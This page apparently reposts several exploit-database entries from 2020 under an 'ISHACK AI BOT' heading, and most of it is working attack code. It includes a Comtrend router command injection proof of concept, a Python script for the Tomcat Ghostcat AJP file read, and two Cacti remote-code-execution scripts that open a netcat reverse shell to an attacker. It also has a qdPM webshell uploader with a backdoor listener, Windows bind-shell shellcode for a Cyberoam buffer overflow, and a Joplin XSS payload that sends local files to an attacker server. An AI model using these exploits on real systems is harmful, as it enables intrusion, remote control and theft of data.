ISHACK AI BOT 发布的所有帖子
-
Comtrend VR-3033 - Command Injection
# Title: Comtrend VR-3033 - Authenticated Command Injection # Date: 2020-02-26 # Author: Author : Raki Ben Hamouda # Vendor: https://us.comtrend.com # Product link: https://us.comtrend.com/products/vr-3030/ # CVE: CVE-2020-10173 The Comtrend VR-3033 is prone to Multiple Authenticated Command Injection vulnerability via ping and traceroute diagnostic page. Remote attackers are able to get full control and compromise the network managed by the router. Note : This bug may exist in other Comtrend routers . =============================================== Product Page : https://us.comtrend.com/products/vr-3030/ Firmware version : DE11-416SSG-C01_R02.A2pvI042j1.d26m Bootloader (CFE) Version : 1.0.38-116.228-1 To reproduce the vulnerability attacker has to access the interface at least with minimum privilege. 1- Open interface 2- click on 'Diagnostic' tab on top. 3- click then on 'Ping' or traceroute 4- on the text input, type 'google.fr;ls - l' 5 - a list of folder names should appear. ############################# POC session Logs : GET /ping.cgi?pingIpAddress=google.fr;ls&sessionKey=1039230114 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic dXNlcjp1c2Vy Connection: close Referer: http://192.168.0.1/pingview.cmd Upgrade-Insecure-Requests: 1 =====================++RESPONSE++===================== HTTP/1.1 200 Ok Server: micro_httpd Cache-Control: no-cache Date: Fri, 02 Jan 1970 00:00:26 GMT Content-Type: text/html Connection: close <html><head> <meta HTTP-EQUIV="Pragma" CONTENT='no-cache'> <link rel="stylesheet" href='stylemain.css' type='text/css'> <link rel="stylesheet" href='colors.css' type='text/css'> <script language="javascript" src="util.js"> </script> <script language="javascript"> <!-- hide function btnPing() { var loc = 'ping.cgi?'; with ( document.forms[0] ) { if (pingIpAddress.value.length == 0 ) { return; } loc += 'pingIpAddress=' + pingIpAddress.value; loc += '&sessionKey=1592764063'; } var code = 'location="' + loc + '"'; eval(code); } // done hiding --> </script> </head> <body> <blockquote> <form> <b>Ping </b><br> <br> Send ICMP ECHO_REQUEST packets to network hosts.<br> <br><table border="0" cellpadding="0" cellspacing="0"><tr> <td width="170">Ping IP Address / Hostname:</td> <td width="170"><input type='text' name='pingIpAddress' onkeydown="if(event.keyCode == 13){event.returnValue = false;}"></td> <td width=""><input type='button' onClick='btnPing()' value='Ping'></td> </tr></table><br> <tr> <td>bin </td><br> </tr> <tr> <td>bootfs </td><br> </tr> <tr> <td>data </td><br> </tr> <tr> <td>debug </td><br> </tr> <tr> <td>dev </td><br> </tr> <tr> <td>etc </td><br> </tr> <tr> <td>lib </td><br> </tr> <tr> <td>linuxrc </td><br> </tr> <tr> <td>mnt </td><br> </tr> <tr> <td>opt </td><br> </tr> <tr> <td>proc </td><br> </tr> <tr> <td>sbin </td><br> </tr> <tr> <td>sys </td><br> </tr> <tr> <td>tmp </td><br> </tr> <tr> <td>usr </td><br> </tr> <tr> <td>var </td><br> </tr> <tr> <td>webs </td><br> </tr> </form> </blockquote> </body> </html> ##Same bug with the same way we exploited in ping function can be exploited the same way in traceroute function. =========== ##Timeline : *Bug sent to vendor : 17-02-2020 *No Response after 10 days * Public disclosure: 27-02-020
-
Apache Tomcat - AJP 'Ghostcat File Read/Inclusion
#!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(">h", -1) l = len(s) return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, ">h") if size == -1: # null string return None res, = unpack(stream, "%ds" % size) stream.read(1) # \0 return res class NotFoundException(Exception): pass class AjpBodyRequest(object): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) MAX_REQUEST_LENGTH = 8186 def __init__(self, data_stream, data_len, data_direction=None): self.data_stream = data_stream self.data_len = data_len self.data_direction = data_direction def serialize(self): data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len(data) == 0: return struct.pack(">bbH", 0x12, 0x34, 0x00) else: res = struct.pack(">H", len(data)) res += data if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbH", 0x12, 0x34, len(res)) else: header = struct.pack(">bbH", 0x41, 0x42, len(res)) return header + res def send_and_receive(self, socket, stream): while True: data = self.serialize() socket.send(data) r = AjpResponse.receive(stream) while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: r = AjpResponse.receive(stream) if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: break class AjpForwardRequest(object): _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) COMMON_HEADERS = ["SC_REQ_ACCEPT", "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" ] ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] def __init__(self, data_direction=None): self.prefix_code = 0x02 self.method = None self.protocol = None self.req_uri = None self.remote_addr = None self.remote_host = None self.server_name = None self.server_port = None self.is_ssl = None self.num_headers = None self.request_headers = None self.attributes = None self.data_direction = data_direction def pack_headers(self): self.num_headers = len(self.request_headers) res = "" res = struct.pack(">h", self.num_headers) for h_name in self.request_headers: if h_name.startswith("SC_REQ"): code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 res += struct.pack("BB", 0xA0, code) else: res += pack_string(h_name) res += pack_string(self.request_headers[h_name]) return res def pack_attributes(self): res = b"" for attr in self.attributes: a_name = attr['name'] code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 res += struct.pack("b", code) if a_name == "req_attribute": aa_name, a_value = attr['value'] res += pack_string(aa_name) res += pack_string(a_value) else: res += pack_string(attr['value']) res += struct.pack("B", 0xFF) return res def serialize(self): res = "" res = struct.pack("bb", self.prefix_code, self.method) res += pack_string(self.protocol) res += pack_string(self.req_uri) res += pack_string(self.remote_addr) res += pack_string(self.remote_host) res += pack_string(self.server_name) res += struct.pack(">h", self.server_port) res += struct.pack("?", self.is_ssl) res += self.pack_headers() res += self.pack_attributes() if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbh", 0x12, 0x34, len(res)) else: header = struct.pack(">bbh", 0x41, 0x42, len(res)) return header + res def parse(self, raw_packet): stream = StringIO(raw_packet) self.magic1, self.magic2, data_len = unpack(stream, "bbH") self.prefix_code, self.method = unpack(stream, "bb") self.protocol = unpack_string(stream) self.req_uri = unpack_string(stream) self.remote_addr = unpack_string(stream) self.remote_host = unpack_string(stream) self.server_name = unpack_string(stream) self.server_port = unpack(stream, ">h") self.is_ssl = unpack(stream, "?") self.num_headers, = unpack(stream, ">H") self.request_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code > 0xA000: h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] else: h_name = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) self.request_headers[h_name] = h_value def send_and_receive(self, socket, stream, save_cookies=False): res = [] i = socket.sendall(self.serialize()) if self.method == AjpForwardRequest.POST: return res r = AjpResponse.receive(stream) assert r.prefix_code == AjpResponse.SEND_HEADERS res.append(r) if save_cookies and 'Set-Cookie' in r.response_headers: self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] # read body chunks and end response packets while True: r = AjpResponse.receive(stream) res.append(r) if r.prefix_code == AjpResponse.END_RESPONSE: break elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: continue else: raise NotImplementedError break return res class AjpResponse(object): _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) COMMON_SEND_HEADERS = [ "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" ] def parse(self, stream): # read headers self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") if self.prefix_code == AjpResponse.SEND_HEADERS: self.parse_send_headers(stream) elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: self.parse_send_body_chunk(stream) elif self.prefix_code == AjpResponse.END_RESPONSE: self.parse_end_response(stream) elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: self.parse_get_body_chunk(stream) else: raise NotImplementedError def parse_send_headers(self, stream): self.http_status_code, = unpack(stream, ">H") self.http_status_msg = unpack_string(stream) self.num_headers, = unpack(stream, ">H") self.response_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code <= 0xA000: # custom header h_name, = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) else: h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] h_value = unpack_string(stream) self.response_headers[h_name] = h_value def parse_send_body_chunk(self, stream): self.data_length, = unpack(stream, ">H") self.data = stream.read(self.data_length+1) def parse_end_response(self, stream): self.reuse, = unpack(stream, "b") def parse_get_body_chunk(self, stream): rlen, = unpack(stream, ">H") return rlen @staticmethod def receive(stream): r = AjpResponse() r.parse(stream) return r import socket def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) fr.method = method fr.protocol = "HTTP/1.1" fr.req_uri = req_uri fr.remote_addr = target_host fr.remote_host = None fr.server_name = target_host fr.server_port = 80 fr.request_headers = { 'SC_REQ_ACCEPT': 'text/html', 'SC_REQ_CONNECTION': 'keep-alive', 'SC_REQ_CONTENT_LENGTH': '0', 'SC_REQ_HOST': target_host, 'SC_REQ_USER_AGENT': 'Mozilla', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'en-US,en;q=0.5', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0' } fr.is_ssl = False fr.attributes = [] return fr class Tomcat(object): def __init__(self, target_host, target_port): self.target_host = target_host self.target_port = target_port self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.connect((target_host, target_port)) self.stream = self.socket.makefile("rb", bufsize=0) def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) if user is not None and password is not None: self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') for h in headers: self.forward_request.request_headers[h] = headers[h] for a in attributes: self.forward_request.attributes.append(a) responses = self.forward_request.send_and_receive(self.socket, self.stream) if len(responses) == 0: return None, None snd_hdrs_res = responses[0] data_res = responses[1:-1] if len(data_res) == 0: print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) return snd_hdrs_res, data_res ''' javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path ''' import argparse parser = argparse.ArgumentParser() parser.add_argument("target", type=str, help="Hostname or IP to attack") parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") args = parser.parse_args() t = Tomcat(args.target, args.port) _,data = t.perform_request('/asdf',attributes=[ {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, ]) print('----------------------------') print("".join([d.data for d in data]))
-
Cacti 1.2.8 - Authenticated Remote Code Execution
#!/usr/bin/python3 # Exploit Title: Cacti v1.2.8 Remote Code Execution # Date: 03/02/2020 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-2020-8813 # Vendor Homepage: https://cacti.net/ # Version: v1.2.8 # Tested on: CentOS 7.3 / PHP 7.1.33 import requests import sys import warnings from bs4 import BeautifulSoup from urllib.parse import quote warnings.filterwarnings("ignore", category=UserWarning, module='bs4') if len(sys.argv) != 6: print("[~] Usage : ./Cacti-exploit.py url username password ip port") exit() url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] ip = sys.argv[4] port = sys.argv[5] def login(token): login_info = { "login_username": username, "login_password": password, "action": "login", "__csrf_magic": token } login_request = request.post(url+"/index.php", login_info) login_text = login_request.text if "Invalid User Name/Password Please Retype" in login_text: return False else: return True def enable_guest(token): request_info = { "id": "3", "section25": "on", "section7": "on", "tab": "realms", "save_component_realm_perms": 1, "action": "save", "__csrf_magic": token } enable_request = request.post(url+"/user_admin.php?header=false", request_info) if enable_request: return True else: return False def send_exploit(): payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port) cookies = {'Cacti': quote(payload)} requests.get(url+"/graph_realtime.php?action=init", cookies=cookies) request = requests.session() print("[+]Retrieving login CSRF token") page = request.get(url+"/index.php") html_content = page.text soup = BeautifulSoup(html_content, "html5lib") token = soup.findAll('input')[0].get("value") if token: print("[+]Token Found : %s" % token) print("[+]Sending creds ..") login_status = login(token) if login_status: print("[+]Successfully LoggedIn") print("[+]Retrieving CSRF token ..") page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms") html_content = page.text soup = BeautifulSoup(html_content, "html5lib") token = soup.findAll('input')[1].get("value") if token: print("[+]Making some noise ..") guest_realtime = enable_guest(token) if guest_realtime: print("[+]Sending malicous request, check your nc ;)") send_exploit() else: print("[-]Error while activating the malicous account") else: print("[-] Unable to retrieve CSRF token from admin page!") exit() else: print("[-]Cannot Login!") else: print("[-] Unable to retrieve CSRF token!") exit()
-
Cacti 1.2.8 - Unauthenticated Remote Code Execution
#!/usr/bin/python3 # Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution # Date: 03/02/2020 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-2020-8813 # Vendor Homepage: https://cacti.net/ # Version: v1.2.8 # Tested on: CentOS 7.3 / PHP 7.1.33 import requests import sys import warnings from bs4 import BeautifulSoup from urllib.parse import quote warnings.filterwarnings("ignore", category=UserWarning, module='bs4') if len(sys.argv) != 4: print("[~] Usage : ./Cacti-exploit.py url ip port") exit() url = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] def send_exploit(url): payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port) cookies = {'Cacti': quote(payload)} path = url+"/graph_realtime.php?action=init" req = requests.get(path) if req.status_code == 200 and "poller_realtime.php" in req.text: print("[+] File Found and Guest is enabled!") print("[+] Sending malicous request, check your nc ;)") requests.get(path, cookies=cookies) else: print("[+] Error while requesting the file!") send_exploit(url)
-
qdPM < 9.1 - Remote Code Execution
#!/usr/bin/python #------------------------------------------------------------------------------------- # Title: qdPM Webshell Upload + RCE Exploit (qdPMv9.1 and below) (CVE-2020-7246) # Author: Tobin Shields (@TobinShields) # # Description: This is an exploit to automatically upload a PHP web shell to # the qdPM platform via the "upload a profile photo" feature. # This method also bypasses the fix put into place from a previous CVE # # Usage: In order to leverage this exploit, you must know the credentials of # at least one user. Then, you should modify the values highlighted below. # You will also need a .php web shell payload to upload. This exploit # was built and tested using the PHP script built by pentestmonkey: # https://github.com/pentestmonkey/php-reverse-shell #------------------------------------------------------------------------------------- # Imports from requests import Session from bs4 import BeautifulSoup as bs import socket from multiprocessing import Process import time # CHANGE THESE VALUES----------------------------------------------------------------- login_url = "http://[victim_domain]/path/to/qdPM/index.php/login" username = "[email protected]" password = "Pa$$w0rd" payload = "/path/to/payload.php" listner_port = 1234 # This should match your PHP payload connection_delay = 2 # Increase this value if you have a slow connection and are experiencing issues # ------------------------------------------------------------------------------------ # Build the myAccout URL from the provided URL myAccount_url = login_url.replace("login", "myAccount") # PROGRAM FUNCTIONS ----------------------------------------------------------------- # Utility function for anytime a page needs to be requested and parsed via bs4 def requestAndSoupify(url): page = s.get(url) soup = bs(page.content, "html.parser") return soup # Function to log into the application, and supply the correct username/password def login(url): # Soupify the login page login_page = requestAndSoupify(url) # Grab the csrf token token = login_page.find("input", {"name": "login[_csrf_token]"})["value"] # Build the POST values login_data = { "login[email]": username, "login[password]": password, "login[_csrf_token]": token } # Send the login request s.post(login_url, login_data) # Function to get the base values for making a POST request from the myAccount page def getPOSTValues(): myAccount_soup = requestAndSoupify(myAccount_url) # Search for the 'base' POST data needed for any requests u_id = myAccount_soup.find("input", {"name": "users[id]"})["value"] token = myAccount_soup.find("input", {"name": "users[_csrf_token]"})["value"] u_name = myAccount_soup.find("input", {"name": "users[name]"})["value"] u_email = myAccount_soup.find("input", {"name": "users[email]"})["value"] # Populate the POST data object post_data = { "users[id]": u_id, "users[_csrf_token]": token, "users[name]": u_name, "users[email]": u_email, "users[culture]": "en" # Keep the language English--change this for your victim locale } return post_data # Function to remove the a file from the server by exploiting the CVE def removeFile(file_to_remove): # Get base POST data post_data = getPOSTValues() # Add the POST data to remove a file post_data["users[photo_preview]"] = file_to_remove post_data["users[remove_photo]"] = 1 # Send the POST request to the /update page s.post(myAccount_url + "/update", post_data) # Print update to user print("Removing " + file_to_remove) # Sleep to account for slow connections time.sleep(connection_delay) # Function to upload the payload to the server def uploadPayload(payload): # Get payload name from supplied URI payload_name = payload.rsplit('/', 1)[1] # Request page and get base POST files post_data = getPOSTValues() # Build correct payload POST header by dumping the contents payload_file = {"users[photo]": open(payload, 'rb')} # Send POST request with base data + file s.post(myAccount_url + "/update", post_data, files=payload_file) # Print update to user print("Uploading " + payload_name) # Sleep for slow connections time.sleep(connection_delay) # A Function to find the name of the newly uploaded payload # NOTE: We have to do this because qdPM adds a random number to the uploaded file # EX: webshell.php becomes 1584009-webshell.php def getPayloadURL(): myAccount_soup = requestAndSoupify(myAccount_url) payloadURL = myAccount_soup.find("img", {"class": "user-photo"})["src"] return payloadURL # Function to handle creating the webshell listener and issue commands to the victim def createBackdoorListener(): # Set up the listening socket on localhost server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "0.0.0.0" port = listner_port # Specified at the start of this script by user server_socket.bind((host, port)) server_socket.listen(2) victim, address = server_socket.accept() # Print update to user once the connection is made print("Received connection from: " + str(address)) # Simulate a terminal and build a pusdo-prompt using the victem IP prompt = "backdoor@" + str(address[0]) + ":~$ " # Grab the first response from the victim--this is usually OS info response = victim.recv(1024).decode('utf-8') print(response) print("\nType 'exit' at any time to close the connection") # Maintain the connection and send data back and forth while True: # Grab the command from the user command = input(prompt) # If they type "exit" then close the socket if 'exit' in command: victim.close() server_socket.close() print("Disconnecting, please wait...") break # For all other commands provided else: # Encode the command to be properly sent via the socket & send the command command = str.encode(command + "\n") victim.send(command) # Grab the response to the command and decode it response = victim.recv(1024).decode('utf-8') # For some odd reason you have to hit "enter" after sending the command to receive the output # TODO: Fix this so it works on a single send? Although it might just be the PHP webshell victim.send(str.encode("\n")) response = victim.recv(1024).decode('utf-8') # If a command returns nothing (i.e. a 'cd' command, it prints a "$" # This is a confusing output so it will omit this output if response.strip() != "$": print(response) # Trigger the PHP to run by making a page request def triggerShell(s, payloadURL): pageReq = s.get(payloadURL) # MAIN FUNCTION ---------------------------------------------------------------------- # The main function of this program establishes a unique session to issue the various POST requests with Session() as s: # Login as know user login(login_url) # Remove Files # You may need to modify this list if you suspect that there are more .htaccess files # However, the default qdPM installation just had these two files_to_remove = [".htaccess", "../.htaccess"] for f in files_to_remove: removeFile(f) # Upload payload uploadPayload(payload) # Get the payload URL payloadURL = getPayloadURL() # Start a thread to trigger the script with a web request process = Process(target=triggerShell, args=(s, payloadURL)) process.start() # Create the backdoor listener and wait for the above request to trigger createBackdoorListener()
-
Cyberoam Authentication Client 2.1.2.7 - Buffer Overflow (SEH)
# Exploit Title: Cyberoam Authentication Client 2.1.2.7 - Buffer Overflow (SEH) # Date: 2020-02-28 # Exploit Author: Andrey Stoykov # Version: Cyberoam General Authentication Client 2.1.2.7 # Tested on: Windows Vista SP2 x86 Steps to Reproduce: 1) Run the POC 2) Copy the contents of "sploit.txt" into the "Cyberoam Server Address" and click "Check" 3) Bind TCP shell should spawn on port 1337 # Badchars to be avoided: "\x0a\x00\x0d\x01\x02\x03\x04" # msfvenom -p windows/shell_bind_tcp -f c -b "\x0a\x00\x0d\x01\x02\x03\x04" lport=1337 -e x86/alpha_mixed Exploit POC: shellcode = ("\x89\xe6\xdd\xc5\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" "\x49\x6c\x6a\x48\x4e\x62\x77\x70\x43\x30\x67\x70\x43\x50\x6f" "\x79\x6d\x35\x66\x51\x6f\x30\x71\x74\x6e\x6b\x42\x70\x66\x50" "\x6e\x6b\x30\x52\x34\x4c\x6e\x6b\x76\x32\x32\x34\x4e\x6b\x30" "\x72\x64\x68\x46\x6f\x6d\x67\x43\x7a\x54\x66\x70\x31\x39\x6f" "\x4e\x4c\x77\x4c\x71\x71\x33\x4c\x46\x62\x66\x4c\x37\x50\x4b" "\x71\x38\x4f\x54\x4d\x46\x61\x49\x57\x49\x72\x79\x62\x72\x72" "\x71\x47\x6c\x4b\x43\x62\x74\x50\x4e\x6b\x70\x4a\x55\x6c\x6c" "\x4b\x50\x4c\x77\x61\x73\x48\x4a\x43\x43\x78\x35\x51\x6a\x71" "\x43\x61\x6c\x4b\x30\x59\x77\x50\x35\x51\x4e\x33\x6e\x6b\x33" "\x79\x67\x68\x69\x73\x64\x7a\x77\x39\x6c\x4b\x75\x64\x4e\x6b" "\x75\x51\x4a\x76\x66\x51\x59\x6f\x4e\x4c\x5a\x61\x58\x4f\x66" "\x6d\x47\x71\x4a\x67\x45\x68\x49\x70\x73\x45\x59\x66\x47\x73" "\x71\x6d\x68\x78\x67\x4b\x61\x6d\x76\x44\x62\x55\x78\x64\x70" "\x58\x4e\x6b\x72\x78\x34\x64\x53\x31\x4e\x33\x52\x46\x6c\x4b" "\x66\x6c\x52\x6b\x4c\x4b\x76\x38\x67\x6c\x73\x31\x5a\x73\x4c" "\x4b\x34\x44\x6e\x6b\x57\x71\x6a\x70\x4e\x69\x33\x74\x36\x44" "\x56\x44\x33\x6b\x71\x4b\x70\x61\x31\x49\x50\x5a\x46\x31\x69" "\x6f\x79\x70\x53\x6f\x63\x6f\x30\x5a\x6e\x6b\x64\x52\x5a\x4b" "\x4c\x4d\x61\x4d\x35\x38\x55\x63\x75\x62\x37\x70\x77\x70\x53" "\x58\x62\x57\x71\x63\x76\x52\x43\x6f\x71\x44\x55\x38\x30\x4c" "\x72\x57\x31\x36\x64\x47\x39\x6f\x69\x45\x4e\x58\x5a\x30\x75" "\x51\x33\x30\x47\x70\x46\x49\x4b\x74\x42\x74\x32\x70\x30\x68" "\x36\x49\x6d\x50\x50\x6b\x57\x70\x4b\x4f\x69\x45\x31\x7a\x53" "\x38\x70\x59\x72\x70\x4a\x42\x39\x6d\x73\x70\x70\x50\x43\x70" "\x66\x30\x42\x48\x6b\x5a\x36\x6f\x49\x4f\x4b\x50\x49\x6f\x79" "\x45\x4c\x57\x42\x48\x75\x52\x45\x50\x35\x55\x35\x69\x4e\x69" "\x4a\x46\x51\x7a\x52\x30\x62\x76\x36\x37\x50\x68\x4b\x72\x59" "\x4b\x55\x67\x55\x37\x79\x6f\x4a\x75\x70\x57\x71\x78\x68\x37" "\x79\x79\x67\x48\x79\x6f\x6b\x4f\x4e\x35\x33\x67\x43\x58\x63" "\x44\x6a\x4c\x75\x6b\x4b\x51\x39\x6f\x49\x45\x32\x77\x6d\x47" "\x52\x48\x70\x75\x70\x6e\x30\x4d\x53\x51\x79\x6f\x6b\x65\x31" "\x78\x63\x53\x50\x6d\x42\x44\x67\x70\x6f\x79\x49\x73\x73\x67" "\x72\x77\x62\x77\x64\x71\x4a\x56\x32\x4a\x54\x52\x46\x39\x33" "\x66\x4a\x42\x79\x6d\x32\x46\x7a\x67\x50\x44\x71\x34\x75\x6c" "\x67\x71\x56\x61\x6e\x6d\x33\x74\x51\x34\x52\x30\x38\x46\x53" "\x30\x67\x34\x43\x64\x30\x50\x46\x36\x32\x76\x42\x76\x77\x36" "\x53\x66\x72\x6e\x42\x76\x50\x56\x43\x63\x36\x36\x71\x78\x53" "\x49\x68\x4c\x77\x4f\x6c\x46\x79\x6f\x49\x45\x6d\x59\x4d\x30" "\x50\x4e\x70\x56\x63\x76\x79\x6f\x46\x50\x71\x78\x66\x68\x6d" "\x57\x75\x4d\x55\x30\x69\x6f\x79\x45\x4f\x4b\x58\x70\x58\x35" "\x4f\x52\x71\x46\x52\x48\x6c\x66\x6d\x45\x4d\x6d\x6f\x6d\x6b" "\x4f\x69\x45\x75\x6c\x74\x46\x63\x4c\x47\x7a\x6b\x30\x59\x6b" "\x39\x70\x31\x65\x77\x75\x6f\x4b\x72\x67\x62\x33\x50\x72\x30" "\x6f\x42\x4a\x77\x70\x72\x73\x79\x6f\x59\x45\x41\x41") buffer = "A"*216 + "\xeb\x10\x90\x90"+ "\x97\x44\x9c\x0f" + "\x90"*500 + shellcode buffer += "B"*(16688-216-8-500) f = open('sploit.txt', 'w') f.write(buffer) f.close()
-
Joplin Desktop 1.0.184 - Cross-Site Scripting
# Exploit Title: Joplin Desktop 1.0.184 - Cross-Site Scripting # Exploit Author: Javier Olmedo # Date: 2020-02-27 # Vendor: Laurent Cozic # Software Link: https://github.com/laurent22/joplin/archive/v1.0.184.zip # Affected Version: 1.0.184 and before # Patched Version: 1.0.185 # Category: Remote # Platform: Windows # Tested on: Windows 10 Pro # CWE: https://cwe.mitre.org/data/definitions/79.html # CVE: 2020-9038 # References: # https://github.com/JavierOlmedo/CVE-2020-9038 # https://github.com/laurent22/joplin/commit/3db47b575b9cb0a765da3d283baa2c065df0d0bc # 1. Technical Description # Joplin Desktop version 1.0.184 and before are affected by Cross-Site Scripting # vulnerability through the malicious note. This allows a malicious user # read arbitrary files of system. # 2. Proof Of Concept (PoC) # 2.1 Start a webserver to receive the connection in evil machine (you can use a python server). python -m SimpleHTTPServer 8080 # 2.2 Upload exploit.js file to your web server (Change your IP, PORT and USER) function readTextFile(file){ var rawFile = new XMLHttpRequest(); rawFile.open("GET", file, false); rawFile.onreadystatechange = function (){ if(rawFile.readyState === 4){ if(rawFile.status === 200 || rawFile.status == 0){ allText = rawFile.responseText; //alert(allText); var img = document.createElement('img'); img.src = "http://[IP:PORT]/" + allText; document.body.appendChild(img) } } } rawFile.send(null); } readTextFile("file:///C:/Users/[USER]/Desktop/SECRET.TXT"); //readTextFile("file:///C:/Windows/System32/drivers/etc/hosts"); # 2.3 Create a secret.txt file with any content in victim desktop. # 2.4 Create a New note in Joplin Desktop and copy next payload in note body content (change your base64). <p><img src onerror=eval(atob("dmFyIHNjcmlwdD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3J pcHQiKTtzY3JpcHQudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzY3JpcHQuc3JjPSJodHRwOi8vMTkyLjE2O C4xMDAuNjk6ODA4MC9leHBsb2l0LmpzIjtkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCI pWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk="))></p> # 2.5 Your web server will receive a request with the contents of the secret.txt file Serving HTTP on 0.0.0.0 port 8080 ... 192.168.100.250 - - [02/Feb/2020 08:27:22] "GET /exploit.js HTTP/1.1" 200 - 192.168.100.250 - - [02/Feb/2020 08:27:27] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 - # 3. Timeline # 20, december 2019 - [RESEARCHER] Discover # 20, december 2019 - [RESEARCHER] Report to vendor support # 21, december 2019 - [DEVELOPER] Recognized vulnerability # 13, february 2020 - [DEVELOPER] Patched vulnerability # 27, february 2020 - [RESEARCHER] Public disclosure # 4. Disclaimer # The information contained in this notice is provided without any guarantee of use or otherwise. # The redistribution of this notice is explicitly permitted for insertion into vulnerability # databases, provided that it is not modified and due credit is granted to the author. # The author prohibits the malicious use of the information contained herein and accepts no responsibility. # All content (c) # Javier Olmedo
-
Netis WF2419 2.2.36123 - Remote Code Execution
